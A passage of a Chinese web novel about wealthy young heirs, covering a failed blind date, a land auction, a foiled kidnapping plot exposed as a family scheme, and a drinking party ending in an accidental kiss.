“嗯,还好吧。我想我有必要和白小姐说明一下,今天的相亲是我父亲擅自答应的,我之前并不知情,很抱歉我暂时没有这方面的打算,也请白小姐见谅。”卓鹭元有些心不在焉地等着侍者上菜,对于白歆然的问题也没什么兴趣。但今天的事是他爸惹出来的,于情于理他也得和对方说明白。 白歆然不悦地将手中的杯子放回桌上,卓鹭元被这阵响动惊得回了神,只见白歆然不悦地对他说:“卓先生,既然今天不想来,又何必勉强呢?” 卓鹭元也有些不满:“白小姐,我想我刚才应该和你说得很清楚,你和我会出现在这里仅仅是因为我父亲擅自答应的一场相亲,而我本人目前并没有恋爱的打算……等我一下!” 不知道是不是卓鹭元的错觉,他总觉得刚才侍者引领着走过去的那人声音很像贺真,下意识让白歆然先别说话,自己站起身来看了一眼那人的背影,试探着叫了一声:“贺真?” 贺真今天是来陪客户的,对方是从隔壁市过来的,自从贺真接了主线任务以后就私心把接待安排在了这里,好在对方没什么意见。 “鹭元?好巧,你也在这里。”贺真故作惊讶地看着卓鹭元,向他介绍:“这位是郑总,郑总的企业在国内的科技公司可是名列前茅,我也是有幸才约到郑总。” 郑总叫郑琳,是一位很知性的中年女性,见到贺真向对方介绍就猜出两个人认识且大概家世相当,笑着看向卓鹭元:“这位是?” “卓鹭元,家里是做地产的,不知道郑总是否听说过盛辉地产?”贺真自然地向郑琳介绍,卓鹭元很有礼貌地和对方握了手。 郑琳见者两人熟悉的样子,心想反正今天的事情也已经谈成了,对于合同结果她很满意,于是主动提出:“公司那边还有些事等着我处理,今天下午的飞机,就不打扰你们年轻人玩了。” “我让人送您去机场。”贺真对钱特助使了个眼色,钱特助就客气地带着郑琳离开了。 白歆然在位子上等了半天都不见卓鹭元回来,只好也站起身向那边走去,却看到卓鹭元和一个高大的男人聊得正开心。这个身高,好像是不久前才回国发展的贺真? 那边贺真还在问卓鹭元:“怎么今天来这边吃饭了,和别人有约吗?” 卓鹭元还没回答,白歆然先走了过来:“这位是……贺先生?” 三个人站在这里不是个事,卓鹭元只好对白歆然点了点头,粗略地介绍了一下贺真的身份,就带着两人回去坐下,自己则坐在了贺真这一侧。白歆然坐在他们两个人的对面,总觉得好像哪里很奇怪。 贺真看着眼前富家千金打扮的白歆然,猜到这应该就是卓父给卓鹭元找的相亲对象。贺真没戳破,明知故问地看着卓鹭元:“鹭元,这位是……” 贺真长得好,言谈举止也很有风度,白歆然整理了一下自己的头发,笑着准备自我介绍时卓鹭元忽然抢先开口:“这是白歆然,我的一个朋友,今天约好一起吃一顿饭。” 也不知道为什么,卓鹭元并不想让贺真知道自己被迫相亲的事,所以想找个借口遮掩一下。 他应该已经和白歆然说清楚了,他和对方见面只是因为相亲,并无其他意思,他更不想谈恋爱。 相亲对于他们这些人来说,通常利益交换重于感情,即便不合适也不会过多纠缠,说不定以后什么时候又合作了。所以卓鹭元也没把话说死,只说是朋友。 白歆然却不领情,看着卓鹭元毫不客气地说:“分明是卓伯父和我父亲说好了,今天我才会过来相亲,怎么卓先生似乎还不想承认?” 刚才卓鹭元说的话,白歆然不可能没有明白他的意思,只能是不懂装懂。卓鹭元怕对方面子上过不去没有直说,所以借口之前朋友吃饭,委婉表达自己和白歆然并无可能。 但卓鹭元看白歆然不像是要善罢甘休,于是索性也直接挑破说开:“既然刚才我说的不够明白,那我就再和白小姐说一遍,相亲不是我决定的事,只是我父亲替我答应了,我不想言而无信毁约罢了。我目前没有恋爱结婚的打算,刚才那么说只是为了给双方一个台阶下而已。” 卓鹭元不知道为什么白歆然这么执着于他,对他来说相亲仅仅只是相亲,又不是答应相亲之后两个人就非要在一起了。 白歆然早就听说过卓鹭元身边有个死缠烂打的绿茶,据说和他还是青梅竹马。她眼光高,,拎着包包就往外走去,临走前还不家世和长相对她来说缺一不可,所以今天来之前白歆然就抱着一定要拿下卓鹭元的想法。 白歆然的眼神在卓鹭元和贺真只见逡巡威胁,说出口的话也不太好听:“看来这位就是卓先生那位发小了,只不过贺先生做事应该把握好分寸,而不是破坏别人相亲。” “叮咚!主线台词已发布,请宿主尽快完成任务!” 【贺真真听到白歆然的话,连忙对卓鹭元道歉:“抱歉,我不是有意的。我只是看着你和这位姐姐之间气氛有些尴尬,想着多一个人或许会缓解气氛。实在抱歉,这顿饭我来请,就当我和这位姐姐赔罪了。”】 贺真在心里对茶茶说:“你们这个绿茶系统到底给我认了几个好哥哥好姐姐?我快受不了了。” 话是这么说,但贺真还是很敬业地说出了主线台词:“抱歉,我不是有意的。我只是看着你和这位……姐姐之间气氛有些尴尬,想着多一个人或许会缓解气氛。实在抱歉,这顿饭我来请,就当我和这位姐姐赔罪了。” 侍者是个有眼色的,早在三个人落座时就多准备了酒杯,贺真此时举着酒杯向白歆然示意,白歆然没忍住破防了:“谁是你姐姐!我难道缺你这一顿饭吗!” 这个死绿茶! 白歆然今年马上就29岁了,因为眼光挑剔,和她玩得不错的小姐妹基本都结婚了,没结婚的基本都接过公司在忙事业,只剩她自己两头都没落着好。 偏偏贺真还没说错,因为他真的比自己和卓鹭元都小,叫一句姐姐也不过分。 白歆然抓起手包气冲冲地就出去了,临走前还不忘威胁卓鹭元:“今天的事我会如实告诉我父亲,你等着!” 卓鹭元只觉得自己心力交瘁,他爸擅作主张也就算了,连白歆然也不是个好相处的,无精打采地对贺真说:“又让你看笑话了。” 侍者送上菜品时白歆然已经离席了,卓鹭元让侍者将菜放到了和他同一侧的贺真面前:“现在只剩你陪我吃饭了。对了,你是不是吃过了,要不我们聊聊天?” “没事,你开心最重要。”贺真开解卓鹭元:“这件事伯父处理地是不太妥当,需要我找个机会帮你劝劝吗?” “算了,我自己和他说吧。你刚才为什么叫白歆然姐姐啊?”比起卓父干的糊涂事,卓鹭元更在意贺真刚才叫白歆然“姐姐”,叫得那么亲近,不知道的人还以为他们关系有多好,卓鹭元没忍住酸溜溜地想到。 难不成贺真喜欢姐姐型? 贺真也不想叫,但生活所迫他也没办法,只好继续编理由:“你知道我年纪比其他人都小一点,我不知道她是谁,又是你的朋友,就先叫一声姐姐了,鹭元应该不会在意吧?” “不在意,不在意。”卓鹭元尬笑着吃了一口面前的鹅肝,心里松了一口气。 只要他不是想相亲就行。 第37章 第 37 章 卓鹭元一直等待的竞…… 卓鹭元一直等待的竞拍会终于要开了, 先前他和卢俊城商量好要一起参加,也不知道对方想拍哪块地, 他也不会出于好奇问卢俊城这个问题。 而他自己看中的,则是距乔家赔偿那块地附近的一块地,面积中等但可以想办法联合开发。 卓鹭元这段日子没少学习,标书更是改了又改,中间还找卓父隐晦地问了一下有没有什么行业潜规则,卓父眼神复杂地看了自己儿子一眼, 说:“把心思放正道上,你这还没学会走就想使阴招踹别人膝盖了?去去去!” 卓鹭元落了一鼻子灰,但卓父没对他的标书有什么意见, 证明他做的还不错, 没见老头儿走的时候还哼着歌嘛。 竞拍会和卓鹭元想象得差不多, 一切还算顺利,卓鹭元也终于知道卢俊城想拍的地是哪一块了,也是城东附近,但是在淮市新区那边。 “城哥,你买这边的地是想打造产业园吗?”淮市新区那边之前就有消息传来说要大力规划,但几年下去也没什么动静, 本来有意的人也渐渐心生退意,卢俊城却毫不犹豫拍下那块地,怎么看也不像会建住宅区的样子。 卢俊城也没隐瞒,直接承认了:“对。新区开发是迟早的事情,所以要趁现在价低的时候入手,否则等地价涨起来分一杯羹都难。做生意也是这样的,要学会判断局势,你可别做那种高买低卖的事。” “那我肯定不会。”卓鹭元对自己还是有点信心的:“等这块地确定下来, 我就又要给老头出新的计划书了,想到要来来回回改那么多次就觉得头大。” 卢俊城对这种事倒是司空见惯:“好好做,你不会亏的。说不定等你做好规划了,我们两家还能合作一下,我对你的想法挺感兴趣的。” “真的?!”卓鹭元喜出望外:“你真觉得我做得不错?那我回去可得和老头好好说说,让他老看不上我!” 卓鹭元带着自己的助理开心地和卢俊城挥手告别,迫不及待想把这个好消息告诉卓父,卢俊城看着他孩子气的举动失笑地摇摇头,多大了还不稳重。 只是卓鹭元还没和卓父炫耀,卓父的电话先打进来了:“元元,你在会场呢?” 卓鹭元不明所以地回答:“对啊,正准备回公司呢,怎么了?” 卓父没有在电话里明说,只是吩咐卓鹭元让司机开慢一点,别赶时间,卓鹭元察觉到什么,也没多问就照做了,等到回公司第一件事就是去卓父的办公室问清楚:“爸,怎么了?” 卓父关好门,神情严肃地对卓鹭元说:“你以前怎么玩我不管你,最近把保镖带着,出门的时候车子什么的都检查好。” 卓鹭元心里一惊,压低声音问卓父:“出什么事了?” 卓父也没打算瞒着他,刚好借这个事给卓鹭元敲敲警钟:“这些日子你忙,不知道淮市出了大事。郑家的郑曦,就是总喜欢跟着你的那个丫头,上周差点被人绑架。” “绑架?!” 卓鹭元惊呼出声,他以为这种事情离他很遥远,没想到真的会有人企图绑架别人,而且那个人还是自己认识的郑曦。 卓父提起也是心有余悸:“当时郑曦那个丫头正和她另外一个朋友坐在车上,结果不知怎么刹车突然失灵,她们开的车被迫停下之后就有人企图对郑曦动手。好在郑家兄妹因为父母出事的原因对这方面很是上心,郑曦身边有保镖跟着,不然真不知道会怎么样。” 事实上郑煦听到有人想绑架郑曦差点疯了,差点找到□□的人出手报复,还是惊魂未定的郑曦把人劝了下来。他们这一家只剩他和郑曦,如果郑曦出事他真不知道自己会怎么样。 虽然卓鹭元总嫌郑曦跟着自己不讨喜,但差点被绑架这种大事他也很同情这个和他差不多大的小姑娘,有些关心地问卓父:“那郑曦呢,她现在怎么样?” 卓父叹了口气:“那丫头人没事,但听说受了惊吓,现在听到响动声就会害怕,身边也离不了人,郑煦把他送去疗养院小住一段时间了。” 疗养院? 卓鹭元多嘴问了一句:“是以前老妈说不想去里面坐月子的那一家吗?” “对,你还记得啊?”卓父有些纳闷,卓鹭元却没解释,准备找时间把这件事告诉贺真:“突然想起来了嘛。爸,那明天上午的会我就不去了,我去看看郑曦,说不定我去了她还能开心点。” “去吧,记得别和人家说难听话,再把人气着。”卓父摆了摆手,看来他又得早起了。 卓鹭元不屑地撇了撇嘴:“我又不是傻子。”哪有探病还说难听话的,卓父把他当什么了? 贺真打开手机看到卓鹭元发来的消息时,自己正混在新入职的员工里等待体检,反正他自己都才回国,招的这些员工有认识他的人就怪了。 新入职的员工们基本都是刚出校园的毕业生,脸上还带着对未来美好的憧憬,低声讨论着公司待遇的同时悄悄害怕自己体检不合格。 “怎么办,我昨天熬夜了,应该没事吧?我看体检须知要求早睡的,但我一想到我有offer了就激动得睡不着。”一个男生排在前面,低声和自己前面的人聊天。 “应该没事吧,你别紧张就行,你看你后边那哥们就挺淡定的,还有心情玩手机呢。” 淡定玩手机的贺真抬起头,对着两人露出一个友好的笑容,贺真前面的哥们一回头吓了一跳,下意识抬头问贺真:“哥们,你这得多高啊?” “一米九二。”贺真随口回答,没注意到前面男生羡慕的眼光,顺势和对方攀谈:“我从国外回来不久,这家疗养院很有名吗?我还以为体检都是在什么人民医院进行的。” 贺真前面的男生是土生土长的淮市本地人,提起这个疗养院可是一副了不得的表情:“你说这家慈康疗养院?那肯定知道啊,据说这里可是富人才来的地方,光是疗养一个阶段就得这个数,还有护理费和营养费,前前后后加下来保底也得这个数。要不是贺氏出钱,我估计火化都来不了这。” 男生说得慷慨激昂,手指不停变换数字举给贺真看,速度快得和划拳似的,他还能算得清清楚楚,看来是招了个数学不错的好苗子。 “原来是这样,你不说我还真不知道,谢谢你了。”贺真说完之后拿着手机出了队伍,对两人说:“我临时有点事,你们先来,一会我去最后。” 队伍里的人无可无不可,贺真悄悄离开队伍,再也没回来,反而给钱特助打电话,让他送些探病的礼物过来,他正好在这边,准备去看看郑曦。 郑曦的病房在后楼,贺真想去还得提前和郑曦打好招呼,否则进不去。只是郑曦看到是贺真找她,下意识就不想见,还是卓鹭元给她发了条消息,她才让人上来。 郑曦的病房门口站着保镖,里面是好久不见的郑潜溪,为了陪郑曦特地推了通告过来的。郑潜溪看见贺真,还站起身来和他打了个招呼,毕竟贺真是他名义上的老板:“贺总好。” 贺真点点头:“通告上的事有问题吗?如果来不及就先延期,尽量不要违约,否则这会影响你在业界的声誉。” 郑潜溪听他这么说就放下心来,笑容也真诚几分:“我的经纪人已经和对方沟通过了,延期来得及。” 郑潜溪说完电话就响了,他面色犹疑地看着贺真,最终还是开口:“可以拜托你帮我照看小曦一会儿吗,我回个电话就过来。” 贺真猜到他大概很忙,见郑曦的这点时间也是硬抽出来的,所以答应了:“可以,你去吧。” 郑曦看着贺真提的探病礼物,几乎都是她喜欢的首饰包包什么的,其中还有一条限定款小裙子,一看就不是他自己能选出来的,没忍住阴阳怪气:“你怎么这么会选礼物,该不会是女朋友挑的吧?” “没有女朋友,助理挑的。你怎么样,好些了吗?”贺真看着病床上明显瘦了一圈的郑曦,只觉得比以前看着更小只了。 郑曦嘴硬地回答贺真:“我能有什么事……啊!” 进来的护士推着小车,转弯地时候小车不小心撞到了病床,郑曦立马吓得尖叫,抱着头趴在腿上,浑身颤抖着说不出话来。 “对不起对不起!”护士连连道歉,贺真却挥了挥手让她出去,自己安慰郑曦:“郑曦?郑曦?我是贺真,你能听到我说话吗,你现在很安全,在疗养院里。” 郑曦抱着头颤抖着,贺真也没放弃和郑曦对话,半晌后郑曦终于将头抬起一点,嘴里喃喃地说着什么。 贺真听不清,于是只好凑得近一点,看看能不能听清她在说什么,听来听去也只听到一个“死”字。 贺真的心情有些沉重,她的父母就死于车祸,现在她的车又被动了手脚,差点被绑架,估计是让她想到了不好的事情。贺真下意识放轻语调,刚叫出郑曦的名字,就发现对方说话的声音大了点:“死……” 贺真猜她想说死亡,叹了口气正准备安慰,就听到郑曦说:“死……死绿茶……” 贺真:…… 贺真气笑了,索性对郑曦说:“你再不醒来,我就去追你的鹭元哥哥,每天约他吃饭骑马逛商场,反正我是死绿茶。” “不行,贺真你这个死绿茶给我离鹭元哥哥远一点!”郑曦猛地抬头,小脸都是气愤和倔强,正不甘地看着贺真。 贺真看她回神了,松了一口气往椅背一靠,对郑曦说:“郑潜溪去接工作电话了,你应该也看得出他最近非常忙。在他回来之前我会留在这里,听说你似乎很怕自己一个人待着。” 郑曦低着头,重新躺会病床里翻了个身,小声说了一句“要你管”,就故意装睡不理贺真,直到郑潜溪悄无声息地回来,她才听到贺真离开的脚步声,迷迷糊糊睡了过去。 这个死绿茶,好像也没有那么坏。 第38章 第 38 章 郑曦差点被绑架的事…… 郑曦差点被绑架的事被郑煦刻意压着, 在查到是谁动的手之前郑煦不打算让太多人知道。 郑曦住在疗养院里,吃着蛋糕埋怨郑煦:“哥, 你到底还要查多久,我想回家了。” 郑煦摸了摸妹妹的头发,被郑曦把手拍开:“再等等,你就当在这里散心了。对了,当时和你在一起的那个朋友身体没问题了,她说想来看你, 你想见吗?” “祁琼音她身体好了吗?”郑曦放下手中的的蛋糕,抓起旁边的衣服就想出去:“那我去看看她。当时车突然停下,她扑过来保护我的时候, 我都快吓死了。” 郑曦出事的时候正和祁琼音坐在车里, 车突然撞停的时候郑曦都吓傻了, 还是祁琼音抱住郑曦挡住了碎掉之后飞过来的车窗碎片,祁琼音也因此受了些伤。 “你别出去,我让人带她来。”郑煦按住郑曦,苦口婆心地劝她:“听哥的话,这边有保镖守着,别让我担心。” 郑曦看着郑煦忧心忡忡的表情, 最后还是放下了衣服,乖巧地坐回病床上:“好,那我等她来吧。”郑曦的车子既然出了问题,代表郑家内部出现了问题,所以郑煦才不想让郑曦在这个时候回去。 郑煦让人去待祁琼音过来,给两人腾出来了一些空间,自己默默守在病房门口。 郑曦拉着祁琼音坐下,往她手里塞了个水果:“你这几天怎么样, 医生怎么说?我都不知道你在想什么,那种情况还敢扑过来。”郑曦嘴里说着埋怨的话,事实上也是真的怕祁琼音出事。 祁琼音倒是十分乐观:“我没事,你看我好着呢。” 郑曦别别扭扭地问祁琼音:“你当时为什么救我,明明我脾气差,对你也不好。” 祁琼音十分奇怪地歪着头:“有吗?你对我还挺好的呀,也没有不讲道理,而且之前你也救过我呀,好朋友不就是这样嘛!” “哦。”郑曦把别人探病送来的果篮和礼物塞给祁琼音,让她拿走慢慢吃:“这些你必须吃,要不然我会生气。” 祁琼音拗不过郑曦,只好把郑曦给的东西抱了个满怀。祁琼音有些好奇地问郑曦:“你喜欢卓总什么呀?” 郑曦一副理所应当的样子说:“当然是鹭元哥哥对我好啦!我爸妈去世得早,以前上学的时候老有人嘲笑我是没爸没妈的孩子,鹭元哥哥都帮我出头了。虽然后来大伯他们帮忙之后就没人敢这么对我说了,但我还是喜欢鹭元哥哥。” 祁琼音点点头,郑曦警惕地反问她:“你问我这个干什么?那你呢,你总不会只看鹭元哥哥长得帅吧?” “也不是啦,”祁琼音想了想说:“感觉他对朋友挺好,挺护短的,而且人也挺有意思。当然,卓总确实挺帅的。” 郑曦看祁琼音说着说着有要脸红的趋势,心中马上警铃大作:“打住,虽然、虽然你救了我,还是我朋友,但我是不可能把鹭元哥哥让给你的!” 祁琼音无可无不可地摇了摇头:“我没有要和你抢人的意思,不过我也不知道卓总喜欢谁,总感觉我没什么机会。”祁琼音说完有些心酸,抱着手里的东西回了自己的病房。 郑曦想了想自己,好像鹭元哥哥也没说过喜欢她,自己也跟着郁闷起来,早知道她就不问了。 郑家的事水落石出是在一星期之后,郑煦查到是唐菱动的手。 郑曦听到这个消息后有些怔愣,她本来以为唐菱只是在家不受宠,所以想利用自己获得些什么,虽然心里别扭,但每个人的选择不同,她也只是默默远离了对方而已。 可她没想到会是唐菱绑架她,她曾经真的把唐菱当朋友,她知道自己脾气差,甚至为对方收敛了大小姐脾气。 唐菱被查到的时候还想否认,直到郑煦将她买通郑家佣人的证据拿出来时,唐菱再也无可辩驳,唐父甚至为了撇清关系当场扇了唐菱一巴掌,宣布和对方断绝父女关系,竟是直接把她从唐家踢了出去,把外面的私生子光明正大地接进了唐家。 唐菱看到私生子的一瞬间就反应过来了,崩溃地指着唐父大叫:“你是故意的!是你让我去动手的,如果成功了我就能重新获得郑曦的信任,失败了你就毫不犹豫地抛弃我。爸,你可真是好算计啊!” 唐父脸色铁青地否认,转而向郑煦赔罪:“我身为一家家主,怎么可能做这种事!都是这个女人害人不成,嫉妒她弟弟想把我们唐家都拖下水,郑先生千万别信她的疯话!” “是不是疯话,要由警.察来确定。”郑煦丢这下句话,也不去管唐菱和唐父之间的战争,他不会让企图伤害自己妹妹的人好过。 郑家的钉子被拔掉,郑曦也被郑煦接回了家里,只是怎么看怎么不开心,全然没有平时的阳光开朗。 郑煦知道不少人都觉得郑煦无理取闹,大小姐脾气,可他想起以前父母车祸后沉默内向还被人嘲笑没爸妈的妹妹,他宁愿自己妹妹活得肆意一点,其他的就交给他来搞定吧。 郑煦揉了揉郑曦的脑袋,温柔地说:“怎么了,还在为唐菱的事情不开心?” “不是。”郑曦抱着膝盖,小声问郑煦:“哥哥,你说唐菱她很讨厌我吗?我在想是不是我不够好,她才会绑架我。” “当然不是!”郑煦有些着急,却依然忍着心底的怒气缓声对郑曦说:“曦曦,不要去想一个伤害你的人为什么要伤害你。既然她做了伤害你的事,那就是她不对,你没有错。” 郑曦闷声“嗯”了一声,悄悄抓住郑煦的衣角:“我想见她一面,可以吗?” 郑煦下意识就想拒绝,但郑曦却很坚持:“我不是小孩子,我可以面对,你少瞧不起人了。” “好。”郑煦叹了口气:“但有一点你要答应我,你没做错事,所以不管她说了什么话,你都不用觉得是你不够好。”郑曦对唐菱的好郑煦都看在眼里,为了让郑曦开心他不介意稍微帮对方一把,但眼下是绝对不可能了。 “嗯。” 郑曦见到唐菱时,唐菱已经没有了往日的清冷和不在意,看见郑曦时眼中只有满满的嫉妒:“你是来看我笑话的吗?” 唐菱最了解郑曦,这个人看着大小姐脾气,但其实对亲近的人很好,也说不出什么伤害别人的话来。只是唐菱没想到,郑曦却顺着她的话“嗯”了一声,甚至点了点头:“对。你绑架了我,现在看到你受到惩罚,确实很像个笑话。” “郑曦!我和你都是家里独女,凭什么你要什么就有什么,你的家人对你还那么好,我就只能像一条狗一样等着你的施舍!我爸我妈的风流债关我什么事,你凭什么疏远我害我陷入困境,凭什么!”唐菱歇斯底里地看着郑曦,眼中都是血丝。 郑曦却叹了口气:“所以你是嫉妒我。”郑曦疏远唐菱其实并不完全是因为宁之衡说的那件事,有一部分是因为祁琼音。郑曦自己也是女生,万一祁琼音真的遭受了那种屈辱该怎么办? 她不忍心,也做不到,可唐菱却劝她事不关己,不要多管闲事,所以郑曦的心一下冷却了,再也无法将唐菱当成最好的朋友。 不过唐菱应该本来也没把她当成朋友,那就不重要啦,她现在又有新朋友了。 郑曦平静地把电话放回原位,任由唐菱在玻璃那边大喊都不回头,她答应哥哥了,不能让哥哥伤心的。 “贺总,郑曦小姐。在会客室,说想要见您。” 钱特助轻轻敲开贺真办公室的门,贺真有些诧异,郑曦的身体好了吗? 贺真点点头:“我过去。” 郑曦坐在会客室里,少见地没有对贺真的公司进行挑剔,反而神色有些别扭:‘那个,上次谢谢你来医院看我。’ “没什么,应该的。”贺真没把那天的事放心上,转而问起她今天来的目的:“你今天来找我,是有什么事吗?”总不能是情敌之间互相打探情报吧? 郑曦神色有些犹豫,想了想开口说到:“上次鹭元哥哥来探病,我听他说你在打听慈康疗养院的事情,尤其是有谁曾经去过疗养院是吗?” “对。”贺真坐直身子,直觉告诉她郑曦身上可能会有他想要的答案:“你是知道些什么吗?” 郑曦不敢确定,但还是开口了:“我不是十分确定。小时候我因为……父母的事住过一段时间的疗养院……不,是很长一段时间疗养院。那段时间我没事做,经常趁护士不在到处跑着玩,那个时候我好像在里面遇到一个人。” 郑曦仔细回想了一下当时的情景,对贺真说:“当时我不认识那个人,但现在想起来应该是你的叔叔贺继明,那段时间他总是去疗养院,后来就突然不来了。” 贺继明去过? 郑曦的父母去世是二十年前的事情,二十年前,哪怕是现在老爷子都在家里颐养天年,他也没听说自己婶婶曾经去过疗养院。贺继明无病无灾,二十年前还在壮年,那贺继明去是做什么的? “还有,”郑曦思索着说:“我总觉得你叔叔他似乎长得像谁,但是想不起来了。如果我想起来了,我一定告诉你,就当做你探病的感谢。”郑曦小声说着,又辩解了一句:“我只是不喜欢欠别人人情,才不是要和你这个死绿茶做朋友!” 贺真笑了一声:“谢谢,这对我很有用。” 待郑曦走后,贺真对钱特助说:“去查一下我那个好叔叔吧。” 他总觉得对方给自己憋了个大的。 第39章 第 39 章 来来来,都出来喝酒…… 来来来, 都出来喝酒,亮子的酒吧不见不散!尤其是你, 今天不能喝也得来喝两杯@Y。” 宁之衡在群里直接发了一段语音,喜悦之情溢于言表,甚至在群里连发几个大红包,还转了一首好运来到群里,卓鹭元抢完之后直呼老板大气。 其实卓鹭元他们也能理解为什么宁之衡那么开心,当然是因为唐家倒霉了嘛! 宁之衡因为自己姑姑的事, 一直对唐家恨之入骨,从孕期就出轨小三的唐父到故意发挑衅短信和亲密视频的小三,以及享受了唐家资源还惺惺作态的唐菱, 可谓恨得很平均了。 以前他没办法, 只能单方面在圈子里放话, 处处给唐家使绊子找不自在,但这次不一样,郑煦是铁了心要对付唐家,就算唐父把唐菱推出去也要蜕一层皮。 而宁家更是马上做出反应,有些证据都不用郑煦亲自去查,宁父就将证据送到了郑煦手上, 甚至没要任何好处,只说不想让唐家好过。郑煦对唐宁两家的过节也清楚,于是收下了宁家这份好意,下手毫不手软。 明眼人都知道,这次绑架风波过去后,唐家想在圈里立足怕是难了。不过也没人为唐家难过,如何瓜分唐家剩下的资源才是大家关心的重点。 因为宁之衡这大喜事,几个人最近难得凑在一起喝顿酒。宁之衡知道卓鹭元不太能喝酒, 专门点了两杯度数最低的酒摆在他面前:“你今天的任务就是这两杯。喏,不欺负你,小杯子低度数,你可不能推辞。” 卓鹭元看了看自己的酒和旁边人的,想了想还是把那句“瞧不起谁呢”咽了回去,到时候要是丢人就不好了。 宁之衡率先举杯:“来,为了庆祝唐家倒霉,咱们来喝一个!” 卓鹭元和盛俊文他们很配合地举起了酒杯碰了一下,在几人都还在小口喝的时候,宁之衡就举着酒杯一饮而尽,迫不及待地倒了下一个满杯。 “我看到那姓唐的家伙了,看起来一下老了十岁,说出去谁信他和我爸一样大,笑死了,这都是他的报应。”宁之衡晃着酒杯,脸上带着快意的笑容,却在说到下一句话时语气突然低落:“可我姑姑再也不会老了。” 宁之衡小时候父母忙,是姑姑经常带着他读书玩耍。那天小姑姑把他的手放在自己肚子上,脸上尽是温和慈祥的笑容:“你看,这里面有小宝宝哦!” 可是几个月之后,他的小姑姑再也回不来了。 宁之衡沉默着将第二杯酒一饮而尽,旁边的卢俊城和亮子一人拉住宁之衡一边胳膊:“阿衡,你喝得太快了,酒不能这么喝。” 宁之衡笑嘻嘻地松开他们两个的手,说:“我知道,我知道,我只是开心。我懂得,只有活得开心才能让对自己好的人放心。刚才那杯是最后一次那么喝酒了,你们可要监督我。” “好,交给我了,我马上就给酒保吩咐,不管什么时候看到你这么喝就马上抢你杯子!”亮子拍拍胸脯做出承诺,伸手把酒瓶放到了自己这一侧,给除了卓鹭元的每个人倒了半杯:“来,以后咱兄弟都开开心心的。” 贺真坐在卓鹭元旁边,看着他那杯快喝完的酒,小声问他:“你还可以吗,不要逞强,喝不完就给我。” 卓鹭元和贺真贴得太近,卓鹭元揉了揉耳朵应到:“我没事,还好。”就是感觉有一点晕,好在宁之衡给他的酒度数低,他不会像上次那样一杯倒。 卢俊城看着宁之衡怕他醉倒,但宁之衡却没什么反应,甚至又让亮子给自己添了半杯,脸上还挂着平时的笑容。 李尚乐和杨一群向来是粗神经大心脏,看到宁之衡这样也是松了一口气,李尚乐马上嘚瑟的把自己头顶的帽子摘了下来:“兄弟们看这是什么!” 酒吧太暗,灯球又不在他们头上,宁之衡有点醉意,眯着眼睛凑近了也没看出来,还是李尚乐着急了,抓着他的手往自己头顶按了一把:“你笨呀,我长头发了!” 哦? 贺真心里算了算时间,好像确实和老中医说的一样,两三个月就能长起来不少,看着还有些扎手。 杨一群剃头的时间比李尚乐晚,头发长起来的时间自然也要比他晚不少,心里对李尚乐羡慕嫉妒恨,没忍住出口嘲讽:“哟,秃驴还俗了?” “呸!总比你还不了的好,你这就是嫉妒!”李尚乐毫不犹豫的反击。 杨一群气冲冲地怼李尚乐:“我剃头还不是因为你找了帮手,还差点把我给摔了!还京圈佛子,谁家京圈佛子一点慈悲心都没有!” “你有慈悲心,还给女主播送钱送成榜一大哥。” “你没送吗?!” 宁之衡打断他们:“停一下,所以你俩的钱到底要回来没有?” 李尚乐和杨一群同时萎靡了,看来是还没要回来。也是,要钱总是比给钱难多了,想想也正常。 李尚乐郁闷地举起酒杯对杨一群说:“咱俩难兄难弟碰一个?这下可别说我没普渡你。” “喝酒也闭不上你的嘴吗?” 卢俊城笑了一声,举起自己的杯子也跟着碰了一下:“行了,都是朋友,陪你一起喝一个。” 卓鹭元看自己杯子里剩下的酒不多,索性跟着一口气喝光了,也许是喝的太快,卓鹭元忽然有些眩晕,忽然感觉到自己胳膊被一只有力的大手扶住了:“没事吧?” 卓鹭元本来想说没事,但看着贺真眼里的担心,话到嘴边却变成了:“我好像有点晕,想去洗手间洗个脸清醒一下。” 贺真点头,和卓鹭元一起起身:“好,我扶你去,要是头晕摔倒就不好了。” “嗯。” 卓鹭元起身,贺真拉着他的胳膊往前走,将人带到了洗手间,贺真在旁边等他。 卓鹭元对贺真摇摇头,示意贺真放开手,看着镜子里的自己,脸色微红,看东西还带着些眩晕感。他伸手打开水龙头,却没料到自己这会因为头晕下手没个轻重,水一下子开得太大,溅了不少到他的衣服和地上。 都这样了还逞强喝酒呢。 贺真摇摇头,走过来准备帮卓鹭元,卓鹭元却一下子不好意思起来,伸手把贺真往外推:“我就是一时不小心,没事的,你在门口等我吧。” 贺真却不赞同:“不行,你现在头晕,地上都是水,万一摔倒受伤怎么办?我就在旁边看着,你洗脸就是了。” 卓鹭元越想脸越红,还想推开贺真时突然脚下一滑,身体不受控制地向后倒去,差点惊叫出声时还是贺真眼疾手快伸手在他腰上捞了一把,将人带了回来,两个人因为惯性嘴唇碰在了一起。 嗡——— 卓鹭元脑中警铃大作,一双好看的眼睛圆溜溜地睁着,却看不清楚贺真的脸,整个人像一只快要烧开的热水壶,差一点就能发出嗡鸣。 贺真也下意识瞪大了双眼,甚至忘了第一时间后退,偏偏茶茶那个狗系统还在旁边聒噪地大喊:“宿主?你和主角发生什么事了,为什么茶茶这里都是马赛克呀?宿主?你该不会出事了吧!” “唰——” 旁边厕所响起了冲水声,一个男人从里面出来看到贺真和卓鹭元,愣了一秒后说了句“草”,然后重新藏回门里:“那个,兄弟,我不是故意的,你们继续哈。” 卓鹭元反应过来,马上一把推开贺真,用手背捂着自己的嘴唇,喘着粗气看着对方。 贺真摸向自己的嘴唇,上面还残留着刚才柔软的触感。 好软,像果冻一样。 “你为什么突然亲我?!”卓鹭元红着脸瞪着贺真,觉得他的嘴唇快不是自己的了。 但贺真很快反应过来现在不是说这个的时候,厕所门里还藏着企图偷听的老哥,贺真不动声色地用手指了指厕所,卓鹭元也反应过来,低着头和贺真走了出来,贺真想扶着点他,卓鹭元也不要对方扶着。 他现在完全清醒了! 卓鹭元和贺真一前一后回到位子上,贺真落座,一抬眼卓鹭元却坐到了离自己最远的杨一群那边。 平时卓鹭元总嫌李尚乐和杨一群两个人吵,这会却主动跑过去坐下,连杨一群都觉得有些不对劲:“卓鹭元,你不是坐贺真旁边的吗,怎么跑这来了?” 卓鹭元脸上有些挂不住,站起来伸手把自己的酒杯拿过来和杨一群匆匆碰了一下:“这不是好久没和你喝过酒吗,庆祝你被李尚乐禁闭结束。” 说到这里李尚乐也鼻涕一把泪一把地说:“我可太苦了,先伤腿又伤手,还被关了禁闭,来来来走一个。” 卓鹭元没敢再多喝酒,嘴唇只是在酒杯边沿抿了一口就放下,看着李尚乐和杨一群两个人因为谁害谁关禁闭吵起来,只觉得他俩有些吵。 